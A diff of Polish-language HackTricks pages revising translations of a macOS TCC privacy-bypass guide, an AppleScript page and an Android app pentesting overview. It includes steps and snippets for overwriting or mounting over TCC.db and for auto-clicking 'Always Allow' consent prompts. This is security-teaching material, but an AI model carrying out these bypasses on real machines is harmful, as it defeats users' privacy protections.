||||
- tutaj również `open()` ten plik do zapisu i trzymamy uchwyt do deskryptora pliku
|
||||
- atomowo zamienić `/Users/hacker/tmp` z `/Users/hacker/ourlink` **w pętli**
|
||||
- robimy to, aby zmaksymalizować nasze szanse na sukces, ponieważ okno wyścigu jest dość wąskie, ale przegranie wyścigu ma znikome negatywne skutki
|
||||
@ -214,16 +214,16 @@ To był atak w tym CVE: Na przykład, aby nadpisać `TCC.db` użytkownika, może
|
||||
Więcej informacji w [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)
|
||||
|
||||
> [!CAUTION]
|
||||
> Teraz, jeśli spróbujesz użyć zmiennej środowiskowej `MTL_DUMP_PIPELINES_TO_JSON_FILE`, aplikacje nie uruchomią się
|
||||
> Teraz, jeśli spróbujesz użyć zmiennej env `MTL_DUMP_PIPELINES_TO_JSON_FILE`, aplikacje nie uruchomią się
|
||||
|
||||
### Apple Remote Desktop
|
||||
|
||||
Jako root możesz włączyć tę usługę, a **agent ARD będzie miał pełny dostęp do dysku**, co może być nadużywane przez użytkownika do skopiowania nowej **bazy danych użytkowników TCC**.
|
||||
Jako root możesz włączyć tę usługę, a **agent ARD będzie miał pełny dostęp do dysku**, co może być nadużywane przez użytkownika, aby skopiować nową **bazę danych użytkowników TCC**.
|
||||
|
||||
## Przez **NFSHomeDirectory**
|
||||
|
||||
TCC używa bazy danych w folderze HOME użytkownika do kontrolowania dostępu do zasobów specyficznych dla użytkownika w **$HOME/Library/Application Support/com.apple.TCC/TCC.db**.\
|
||||
Dlatego, jeśli użytkownik zdoła ponownie uruchomić TCC z zmienną środowiskową $HOME wskazującą na **inny folder**, użytkownik może utworzyć nową bazę danych TCC w **/Library/Application Support/com.apple.TCC/TCC.db** i oszukać TCC, aby przyznać dowolne uprawnienie TCC dowolnej aplikacji.
|
||||
TCC używa bazy danych w folderze HOME użytkownika, aby kontrolować dostęp do zasobów specyficznych dla użytkownika w **$HOME/Library/Application Support/com.apple.TCC/TCC.db**.\
|
||||
Dlatego, jeśli użytkownik zdoła ponownie uruchomić TCC z zmienną env $HOME wskazującą na **inny folder**, użytkownik może utworzyć nową bazę danych TCC w **/Library/Application Support/com.apple.TCC/TCC.db** i oszukać TCC, aby przyznać dowolne uprawnienie TCC dowolnej aplikacji.
|
||||
|
||||
> [!TIP]
|
||||
> Zauważ, że Apple używa ustawienia przechowywanego w profilu użytkownika w atrybucie **`NFSHomeDirectory`** dla **wartości `$HOME`**, więc jeśli skompromitujesz aplikację z uprawnieniami do modyfikacji tej wartości (**`kTCCServiceSystemPolicySysAdminFiles`**), możesz **uzbroić** tę opcję z obejściem TCC.
|
||||
@ -310,7 +310,7 @@ Kilka aplikacji Apple było na to podatnych.
|
||||
|
||||
### Firefox
|
||||
|
||||
Aplikacja Firefox miała uprawnienia `com.apple.security.cs.disable-library-validation` i `com.apple.security.cs.allow-dyld-environment-variables`:
|
||||
Aplikacja Firefox miała uprawnienia `com.apple.security.cs.disable-library-validation` oraz `com.apple.security.cs.allow-dyld-environment-variables`:
|
||||
```xml
|
||||
codesign -d --entitlements :- /Applications/Firefox.app
|
||||
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
||||
@ -418,7 +418,7 @@ exploit_location]; task.standardOutput = pipe;
|
||||
### CVE-2020-9771 - obejście TCC mount_apfs i eskalacja uprawnień
|
||||
|
||||
**Każdy użytkownik** (nawet nieuprzywilejowany) może utworzyć i zamontować migawkę Time Machine oraz **uzyskać dostęp do WSZYSTKICH plików** tej migawki.\
|
||||
**Jedynym wymaganym** uprawnieniem jest to, aby aplikacja używana (jak `Terminal`) miała dostęp **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), co musi być przyznane przez administratora.
|
||||
**Jedynym wymaganym uprawnieniem** jest to, aby aplikacja używana (jak `Terminal`) miała dostęp **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), co musi być przyznane przez administratora.
|
||||
```bash
|
||||
# Create snapshot
|
||||
tmutil localsnapshot
|
||||
@ -442,7 +442,7 @@ Bardziej szczegółowe wyjaśnienie można [**znaleźć w oryginalnym raporcie**
|
||||
|
||||
### CVE-2021-1784 & CVE-2021-30808 - Montowanie nad plikiem TCC
|
||||
|
||||
Nawet jeśli plik bazy danych TCC jest chroniony, możliwe było **zamontowanie nowego pliku TCC.db** w tym katalogu:
|
||||
Nawet jeśli plik bazy danych TCC jest chroniony, możliwe było **zamontowanie nowego pliku TCC.db nad katalogiem**:
|
||||
```bash
|
||||
# CVE-2021-1784
|
||||
## Mount over Library/Application\ Support/com.apple.TCC
|
||||
@ -465,14 +465,6 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
||||
```
|
||||
Sprawdź **pełny exploit** w [**oryginalnym opisie**](https://theevilbit.github.io/posts/cve-2021-30808/).
|
||||
|
||||
### CVE-2024-40855
|
||||
|
||||
Jak wyjaśniono w [oryginalnym opisie](https://www.kandji.io/blog/macos-audit-story-part2), ten CVE wykorzystał `diskarbitrationd`.
|
||||
|
||||
Funkcja `DADiskMountWithArgumentsCommon` z publicznego frameworka `DiskArbitration` przeprowadzała kontrole bezpieczeństwa. Jednak możliwe jest jej obejście poprzez bezpośrednie wywołanie `diskarbitrationd`, a tym samym użycie elementów `../` w ścieżce i symlinków.
|
||||
|
||||
To pozwoliło atakującemu na wykonywanie dowolnych montażów w dowolnej lokalizacji, w tym nad bazą danych TCC z powodu uprawnienia `com.apple.private.security.storage-exempt.heritable` `diskarbitrationd`.
|
||||
|
||||
### asr
|
||||
|
||||
Narzędzie **`/usr/sbin/asr`** pozwalało na skopiowanie całego dysku i zamontowanie go w innym miejscu, omijając zabezpieczenia TCC.
|
||||
@ -482,13 +474,13 @@ Narzędzie **`/usr/sbin/asr`** pozwalało na skopiowanie całego dysku i zamonto
|
||||
Istnieje trzecia baza danych TCC w **`/var/db/locationd/clients.plist`**, aby wskazać klientów, którzy mają **dostęp do usług lokalizacyjnych**.\
|
||||
Folder **`/var/db/locationd/` nie był chroniony przed montowaniem DMG**, więc możliwe było zamontowanie naszego własnego plist.
|
||||
|
||||
## Poprzez aplikacje uruchamiane przy starcie
|
||||
## Przez aplikacje uruchamiające się przy starcie
|
||||
|
||||
{{#ref}}
|
||||
../../../../macos-auto-start-locations.md
|
||||
{{#endref}}
|
||||
|
||||
## Poprzez grep
|
||||
## Przez grep
|
||||
|
||||
W kilku przypadkach pliki będą przechowywać wrażliwe informacje, takie jak e-maile, numery telefonów, wiadomości... w niechronionych lokalizacjach (co liczy się jako luka w Apple).
|
||||
|
||||
@ -508,7 +500,7 @@ Inny sposób używając [**zdarzeń CoreGraphics**](https://objectivebythesea.or
|
||||
|
||||
- [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8)
|
||||
- [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
|
||||
- [**20+ Sposobów na Ominięcie Mechanizmów Prywatności macOS**](https://www.youtube.com/watch?v=W9GxnP8c8FU)
|
||||
- [**Knockout Win Against TCC - 20+ NOWYCH Sposobów na Ominięcie Mechanizmów Prywatności MacOS**](https://www.youtube.com/watch?v=a9hsxPdRxsY)
|
||||
- [**20+ sposobów na ominięcie mechanizmów prywatności macOS**](https://www.youtube.com/watch?v=W9GxnP8c8FU)
|
||||
- [**Knockout Win Against TCC - 20+ NOWYCH sposobów na ominięcie mechanizmów prywatności macOS**](https://www.youtube.com/watch?v=a9hsxPdRxsY)
|
||||
|
||||
{{#include ../../../../../banners/hacktricks-training.md}}
|
||||
|
@ -4,8 +4,8 @@
|
||||
|
||||
## Apple Scripts
|
||||
|
||||
To język skryptowy używany do automatyzacji zadań **interagujących z procesami zdalnymi**. Umożliwia dość łatwe **proszę inne procesy o wykonanie pewnych działań**. **Złośliwe oprogramowanie** może nadużywać tych funkcji, aby wykorzystać funkcje eksportowane przez inne procesy.\
|
||||
Na przykład, złośliwe oprogramowanie mogłoby **wstrzyknąć dowolny kod JS w otwartych stronach przeglądarki**. Lub **automatycznie kliknąć** niektóre pozwolenia wymagane od użytkownika;
|
||||
To język skryptowy używany do automatyzacji zadań **interacting with remote processes**. Ułatwia **ask other processes to perform some actions**. **Malware** może nadużywać tych funkcji, aby wykorzystać funkcje eksportowane przez inne procesy.\
|
||||
Na przykład, złośliwe oprogramowanie mogłoby **inject arbitrary JS code in browser opened pages**. Lub **auto click** niektóre pozwolenia wymagane od użytkownika;
|
||||
```applescript
|
||||
tell window 1 of process "SecurityAgent"
|
||||
click button "Always Allow" of group 1
|
||||
|
@ -1,10 +1,25 @@
|
||||
# Testowanie aplikacji na Androida
|
||||
# Pentesting Aplikacji Android
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Podstawy aplikacji na Androida
|
||||
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Zaleca się rozpoczęcie od przeczytania tej strony, aby poznać **najważniejsze części związane z bezpieczeństwem Androida oraz najbardziej niebezpieczne komponenty w aplikacji na Androida**:
|
||||
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
|
||||
|
||||
**Wgląd w Hacking**\
|
||||
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
|
||||
|
||||
**Aktualności Hackingowe w Czasie Rzeczywistym**\
|
||||
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
|
||||
|
||||
**Najnowsze Ogłoszenia**\
|
||||
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy
|
||||
|
||||
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
|
||||
|
||||
## Podstawy Aplikacji Android
|
||||
|
||||
Zaleca się rozpoczęcie od przeczytania tej strony, aby poznać **najważniejsze części związane z bezpieczeństwem Androida oraz najniebezpieczniejsze komponenty w aplikacji Android**:
|
||||
|
||||
{{#ref}}
|
||||
android-applications-basics.md
|
||||
@ -12,19 +27,19 @@ android-applications-basics.md
|
||||
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
To główne narzędzie, którego potrzebujesz, aby połączyć się z urządzeniem z Androidem (emulowanym lub fizycznym).\
|
||||
**ADB** pozwala na kontrolowanie urządzeń zarówno przez **USB**, jak i **sieć** z komputera. To narzędzie umożliwia **kopiowanie** plików w obie strony, **instalację** i **odinstalację** aplikacji, **wykonywanie** poleceń powłoki, **tworzenie kopii zapasowych** danych, **odczytywanie** logów, wśród innych funkcji.
|
||||
To główne narzędzie, którego potrzebujesz, aby połączyć się z urządzeniem android (emulowanym lub fizycznym).\
|
||||
**ADB** pozwala na kontrolowanie urządzeń zarówno przez **USB**, jak i **Sieć** z komputera. To narzędzie umożliwia **kopiowanie** plików w obie strony, **instalację** i **odinstalację** aplikacji, **wykonywanie** poleceń shell, **tworzenie kopii zapasowych** danych, **czytanie** logów, wśród innych funkcji.
|
||||
|
||||
Zobacz poniższą listę [**poleceń ADB**](adb-commands.md), aby dowiedzieć się, jak używać adb.
|
||||
Zobacz poniższą listę [**Poleceń ADB**](adb-commands.md), aby dowiedzieć się, jak używać adb.
|
||||
|
||||
## Smali
|
||||
|
||||
Czasami interesujące jest **modyfikowanie kodu aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (może dobrze zafałszowanych haseł lub flag). Wtedy może być interesujące dekompilowanie apk, modyfikowanie kodu i ponowne kompilowanie go.\
|
||||
[**W tym samouczku** możesz **nauczyć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Dlatego **zawsze miej na uwadze tę możliwość**.
|
||||
[**W tym samouczku** możesz **dowiedzieć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Pamiętaj, **aby zawsze mieć na uwadze tę możliwość**.
|
||||
|
||||
## Inne interesujące triki
|
||||
|
||||
- [Podrabianie swojej lokalizacji w Sklepie Play](spoofing-your-location-in-play-store.md)
|
||||
- [Fałszowanie swojej lokalizacji w Sklepie Play](spoofing-your-location-in-play-store.md)
|
||||
- **Pobieranie APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Ekstrakcja APK z urządzenia:
|
||||
```bash
|
||||
@ -52,11 +67,11 @@ Proszę, [**przeczytaj tutaj, aby znaleźć informacje o różnych dostępnych d
|
||||
|
||||
### Szukanie interesujących informacji
|
||||
|
||||
Samo spojrzenie na **ciągi** APK pozwala na wyszukiwanie **haseł**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **kluczy** **api**, **szyfrowania**, **uuid bluetooth**, **tokenów** i wszystkiego, co może być interesujące... szukaj nawet **tylnych drzwi** do wykonania kodu lub tylnych drzwi uwierzytelniających (twardo zakodowane dane logowania administratora do aplikacji).
|
||||
Samo rzucenie okiem na **ciągi** APK pozwala na poszukiwanie **haseł**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **kluczy** **api**, **szyfrowania**, **uuid bluetooth**, **tokenów** i wszystkiego, co może być interesujące... szukaj nawet **tylnych drzwi** do wykonania kodu lub tylnych drzwi autoryzacyjnych (twardo zakodowane dane logowania administratora do aplikacji).
|
||||
|
||||
**Firebase**
|
||||
|
||||
Zwróć szczególną uwagę na **adresy URL Firebase** i sprawdź, czy są źle skonfigurowane. [Więcej informacji na temat tego, czym jest Firebase i jak go wykorzystać, znajdziesz tutaj.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
Zwróć szczególną uwagę na **adresy URL Firebase** i sprawdź, czy są źle skonfigurowane. [Więcej informacji o tym, czym jest Firebase i jak go wykorzystać, znajdziesz tutaj.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Podstawowe zrozumienie aplikacji - Manifest.xml, strings.xml
|
||||
|
||||
@ -67,7 +82,7 @@ Zwróć szczególną uwagę na **adresy URL Firebase** i sprawdź, czy są źle
|
||||
- **Aplikacje debugowalne**: Aplikacje ustawione jako debugowalne (`debuggable="true"`) w pliku _Manifest.xml_ stanowią ryzyko, ponieważ pozwalają na połączenia, które mogą prowadzić do wykorzystania. Aby lepiej zrozumieć, jak wykorzystać aplikacje debugowalne, zapoznaj się z samouczkiem na temat znajdowania i wykorzystywania aplikacji debugowalnych na urządzeniu.
|
||||
- **Ustawienia kopii zapasowej**: Atrybut `android:allowBackup="false"` powinien być wyraźnie ustawiony dla aplikacji zajmujących się wrażliwymi informacjami, aby zapobiec nieautoryzowanym kopiom zapasowym danych za pomocą adb, szczególnie gdy debugowanie USB jest włączone.
|
||||
- **Bezpieczeństwo sieci**: Niestandardowe konfiguracje bezpieczeństwa sieci (`android:networkSecurityConfig="@xml/network_security_config"`) w _res/xml/_ mogą określać szczegóły bezpieczeństwa, takie jak przypinanie certyfikatów i ustawienia ruchu HTTP. Przykładem jest zezwolenie na ruch HTTP dla określonych domen.
|
||||
- **Eksportowane aktywności i usługi**: Identyfikacja eksportowanych aktywności i usług w manifeście może uwydatnić komponenty, które mogą być nadużywane. Dalsza analiza podczas testów dynamicznych może ujawnić, jak wykorzystać te komponenty.
|
||||
- **Eksportowane aktywności i usługi**: Identyfikacja eksportowanych aktywności i usług w manifeście może uwydatnić komponenty, które mogą być nadużywane. Dalsza analiza podczas testowania dynamicznego może ujawnić, jak wykorzystać te komponenty.
|
||||
- **Dostawcy treści i FileProviders**: Ujawnione dostawcy treści mogą umożliwić nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders powinna być również dokładnie sprawdzona.
|
||||
- **Odbiorniki rozgłoszeniowe i schematy URL**: Te komponenty mogą być wykorzystywane do eksploatacji, z szczególną uwagą na to, jak zarządzane są schematy URL w kontekście luk wejściowych.
|
||||
- **Wersje SDK**: Atrybuty `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` wskazują obsługiwane wersje Androida, podkreślając znaczenie nieobsługiwania przestarzałych, podatnych wersji Androida z powodów bezpieczeństwa.
|
||||
@ -76,7 +91,7 @@ Z pliku **strings.xml** można odkryć wrażliwe informacje, takie jak klucze AP
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika, aby z nią interagował, podczas gdy interakcja jest przekazywana do aplikacji ofiary.\
|
||||
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika, aby z nią interagował, podczas gdy przekazuje interakcję do aplikacji ofiary.\
|
||||
W efekcie, **oślepia użytkownika, aby nie wiedział, że faktycznie wykonuje akcje w aplikacji ofiary**.
|
||||
|
||||
Więcej informacji znajdziesz w:
|
||||
@ -87,7 +102,7 @@ tapjacking.md
|
||||
|
||||
### Przechwytywanie zadań
|
||||
|
||||
**Aktywność** z ustawionym **`launchMode`** na **`singleTask`** bez zdefiniowanego `taskAffinity` jest podatna na przechwytywanie zadań. Oznacza to, że **aplikacja** może być zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przechwycić zadanie prawdziwej aplikacji** (więc użytkownik będzie interagował z **złośliwą aplikacją, myśląc, że używa prawdziwej**).
|
||||
**Aktywność** z ustawionym **`launchMode`** na **`singleTask` bez zdefiniowanego `taskAffinity`** jest podatna na przechwytywanie zadań. Oznacza to, że **aplikacja** może być zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przechwycić zadanie prawdziwej aplikacji** (więc użytkownik będzie interagował z **złośliwą aplikacją, myśląc, że używa prawdziwej**).
|
||||
|
||||
Więcej informacji w:
|
||||
|
||||
@ -99,12 +114,12 @@ android-task-hijacking.md
|
||||
|
||||
**Przechowywanie wewnętrzne**
|
||||
|
||||
W Androidzie pliki **przechowywane** w **przechowywaniu wewnętrznym** są **zaplanowane** do **dostępu** wyłącznie przez **aplikację**, która je **utworzyła**. Ten środek bezpieczeństwa jest **egzekwowany** przez system operacyjny Android i jest zazwyczaj wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami wykorzystują tryby takie jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **zezwolić** na **dzielenie się** plikami między różnymi aplikacjami. Niemniej jednak, te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe.
|
||||
W Androidzie pliki **przechowywane** w **przechowywaniu wewnętrznym** są **zaplanowane** do **dostępu** wyłącznie przez **aplikację**, która je **utworzyła**. Ten środek bezpieczeństwa jest **egzekwowany** przez system operacyjny Android i jest zazwyczaj wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami wykorzystują tryby takie jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **pozwolić** na **dzielenie się** plikami między różnymi aplikacjami. Niemniej jednak, te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe.
|
||||
|
||||
1. **Analiza statyczna:**
|
||||
- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **dokładnie sprawdzane**. Te tryby **mogą potencjalnie ujawniać** pliki **niezamierzonym lub nieautoryzowanym dostępem**.
|
||||
- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **starannie analizowane**. Te tryby **mogą potencjalnie ujawniać** pliki dla **niezamierzonego lub nieautoryzowanego dostępu**.
|
||||
2. **Analiza dynamiczna:**
|
||||
- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. Szczególnie **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoli **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia lub zamiaru, na **odczyt lub modyfikację** tych plików.
|
||||
- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. Szczególnie **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoli **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia czy zamiaru, na **odczyt lub modyfikację** tych plików.
|
||||
|
||||
**Przechowywanie zewnętrzne**
|
||||
|
||||
@ -116,14 +131,14 @@ Podczas pracy z plikami na **przechowywaniu zewnętrznym**, takim jak karty SD,
|
||||
- Biorąc pod uwagę łatwość dostępu, zaleca się **nieprzechowywanie wrażliwych informacji** na zewnętrznym przechowywaniu.
|
||||
- Zewnętrzne przechowywanie może być usunięte lub dostępne przez każdą aplikację, co czyni je mniej bezpiecznym.
|
||||
3. **Obsługa danych z zewnętrznego przechowywania**:
|
||||
- Zawsze **przeprowadzaj walidację wejścia** na danych pobranych z zewnętrznego przechowywania. Jest to kluczowe, ponieważ dane pochodzą z nieznanego źródła.
|
||||
- Zawsze **przeprowadzaj walidację wejścia** na danych pobranych z zewnętrznego przechowywania. To jest kluczowe, ponieważ dane pochodzą z nieznanego źródła.
|
||||
- Przechowywanie plików wykonywalnych lub klas na zewnętrznym przechowywaniu do dynamicznego ładowania jest zdecydowanie odradzane.
|
||||
- Jeśli Twoja aplikacja musi pobrać pliki wykonywalne z zewnętrznego przechowywania, upewnij się, że te pliki są **podpisane i kryptograficznie weryfikowane** przed ich dynamicznym załadowaniem. Ten krok jest kluczowy dla utrzymania integralności bezpieczeństwa Twojej aplikacji.
|
||||
|
||||
Zewnętrzne przechowywanie można **uzyskać** w `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
> [!NOTE]
|
||||
> Począwszy od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. To zapobiega złośliwej aplikacji uzyskiwaniu dostępu do plików innej aplikacji w trybie odczytu lub zapisu.
|
||||
> Zaczynając od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. To zapobiega złośliwej aplikacji w uzyskaniu dostępu do plików innej aplikacji.
|
||||
|
||||
**Wrażliwe dane przechowywane w postaci niezaszyfrowanej**
|
||||
|
||||
@ -141,11 +156,11 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Dobrą metodą na przetestowanie tego jest próba przechwycenia ruchu za pomocą jakiegoś proxy, takiego jak Burp, bez autoryzowania Burp CA na urządzeniu. Możesz również wygenerować za pomocą Burp certyfikat dla innej nazwy hosta i go użyć.
|
||||
|
||||
### Uszkodzona kryptografia
|
||||
### Broken Cryptography
|
||||
|
||||
**Słabe procesy zarządzania kluczami**
|
||||
|
||||
Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/łatwym do przewidzenia w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie może pozwolić atakującym na wydobycie poufnych informacji.
|
||||
Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/predykcyjnym w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie może pozwolić atakującym na wydobycie poufnych informacji.
|
||||
|
||||
**Użycie niebezpiecznych i/lub przestarzałych algorytmów**
|
||||
|
||||
@ -175,15 +190,15 @@ Przeczytaj następującą stronę, aby dowiedzieć się, jak łatwo uzyskać dos
|
||||
../xamarin-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Superzapakowane aplikacje
|
||||
### Superpacked Applications
|
||||
|
||||
Zgodnie z tym [**postem na blogu**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superzapakowane to algorytm Meta, który kompresuje zawartość aplikacji do jednego pliku. Blog mówi o możliwości stworzenia aplikacji, która dekompresuje tego rodzaju aplikacje... oraz szybszym sposobie, który polega na **wykonaniu aplikacji i zebraniu zdekompresowanych plików z systemu plików.**
|
||||
Zgodnie z tym [**postem na blogu**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked to algorytm Meta, który kompresuje zawartość aplikacji do jednego pliku. Blog mówi o możliwości stworzenia aplikacji, która dekompresuje tego rodzaju aplikacje... oraz szybszym sposobie, który polega na **wykonaniu aplikacji i zebraniu zdekompresowanych plików z systemu plików.**
|
||||
|
||||
### Zautomatyzowana analiza statyczna kodu
|
||||
|
||||
Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sankcji** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe mogą spowodować szkody) i **reguł**. Te reguły wskazują na **kombinację** **źródeł-sankcji**, która wskazuje na lukę.
|
||||
Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sinks** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe mogą spowodować szkody) oraz **zasady**. Te zasady wskazują na **kombinację** **źródeł-sinków**, które wskazują na lukę.
|
||||
|
||||
Dzięki tej wiedzy, **mariana-trench przejrzy kod i znajdzie możliwe luki w nim**.
|
||||
Dzięki tej wiedzy, **mariana-trench przeanalizuje kod i znajdzie możliwe luki w nim**.
|
||||
|
||||
### Wycieki sekretów
|
||||
|
||||
@ -210,6 +225,21 @@ content-protocol.md
|
||||
|
||||
---
|
||||
|
||||
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
||||
|
||||
**Wgląd w hacking**\
|
||||
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem.
|
||||
|
||||
**Aktualności o hackingu w czasie rzeczywistym**\
|
||||
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom.
|
||||
|
||||
**Najnowsze ogłoszenia**\
|
||||
Bądź na bieżąco z najnowszymi nagrodami za błędy i istotnymi aktualizacjami platformy.
|
||||
|
||||
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
||||
|
||||
---
|
||||
|
||||
## Analiza dynamiczna
|
||||
@ -218,7 +248,7 @@ content-protocol.md
|
||||
|
||||
### Analiza dynamiczna online
|
||||
|
||||
Możesz założyć **darmowe konto** na: [https://appetize.io/](https://appetize.io). Ta platforma pozwala na **przesyłanie** i **wykonywanie** APK, więc jest przydatna do zobaczenia, jak zachowuje się apk.
|
||||
Możesz założyć **darmowe konto** na: [https://appetize.io/](https://appetize.io). Ta platforma pozwala na **przesyłanie** i **wykonywanie** APK, więc jest przydatna do zobaczenia, jak działa apk.
|
||||
|
||||
Możesz nawet **zobaczyć logi swojej aplikacji** w sieci i połączyć się przez **adb**.
|
||||
|
||||
@ -230,24 +260,24 @@ Dzięki połączeniu ADB możesz używać **Drozer** i **Frida** wewnątrz emula
|
||||
|
||||
#### Używając emulatora
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Możesz tworzyć urządzenia **x86** i **arm**, a według [**tego**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnowsze wersje x86** obsługują biblioteki ARM bez potrzeby używania wolnego emulatora arm).
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Możesz tworzyć urządzenia **x86** i **arm**, a według [**tego**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnowsze wersje x86** **obsługują biblioteki ARM** bez potrzeby używania wolnego emulatora arm).
|
||||
- Dowiedz się, jak to skonfigurować na tej stronie:
|
||||
|
||||
{{#ref}}
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
